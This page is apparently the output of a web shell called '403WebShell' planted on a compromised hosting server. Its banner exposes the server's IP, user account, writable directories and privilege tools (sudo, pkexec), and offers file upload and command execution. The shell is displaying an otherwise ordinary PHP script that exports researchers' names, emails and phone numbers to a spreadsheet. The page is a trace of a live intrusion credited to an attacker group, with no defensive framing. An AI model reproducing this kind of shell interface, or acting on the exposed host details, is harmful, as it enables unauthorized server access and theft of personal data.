Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/iscmbt-kufa-atu/public_html/form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iscmbt-kufa-atu/public_html/form/export.php
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
require 'contadb.php';

$stmt = $pdo->query("SELECT * FROM researchers");
$requests = $stmt->fetchAll(PDO::FETCH_ASSOC);

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// رؤوس الأعمدة
$sheet->setCellValue('A1', 'ID');
$sheet->setCellValue('B1', 'Name');
$sheet->setCellValue('C1', 'Research Name');
$sheet->setCellValue('D1', 'Academic Title');
$sheet->setCellValue('E1', 'Academic Degree');
$sheet->setCellValue('F1', 'Specialization');
$sheet->setCellValue('G1', 'Email');
$sheet->setCellValue('H1', 'Mobile Number');
$sheet->setCellValue('I1', 'Affiliation');
$sheet->setCellValue('J1', 'Area of Interest');
$sheet->setCellValue('K1', 'Journal Classification');
$sheet->setCellValue('L1', 'Submission Date');
$sheet->setCellValue('M1', 'File Link');

$row = 2;
foreach ($requests as $request) {
    $sheet->setCellValue('A' . $row, $request['id']);
    $sheet->setCellValue('B' . $row, $request['researcher_name']);
    $sheet->setCellValue('C' . $row, $request['research_name']);
    $sheet->setCellValue('D' . $row, $request['title']);
    $sheet->setCellValue('E' . $row, $request['degree']);
    $sheet->setCellValue('F' . $row, $request['specialization']);
    $sheet->setCellValue('G' . $row, $request['institutional_email']);
    $sheet->setCellValue('H' . $row, $request['mobile_number']);
    $sheet->setCellValue('I' . $row, $request['affiliation']);
    $sheet->setCellValue('J' . $row, $request['area_of_interest']);
    $sheet->setCellValue('K' . $row, $request['journal_selection']);
    $sheet->setCellValue('L' . $row, $request['submission_date']);
    $sheet->setCellValue('M' . $row, (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https://" : "http://") . $_SERVER['HTTP_HOST'] . '/' . $request['file_path']);
    $row++;
}


 $filename = 'exported_data_' . date('Y-m-d') . '.xlsx';
$writer = new Xlsx($spreadsheet);
$writer->save($filename);

header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
header('Content-Disposition: attachment; filename="' . $filename . '"');
readfile($filename);
unlink($filename);
exit;

Youez - 2016 - github.com/yon3zu
LinuXploit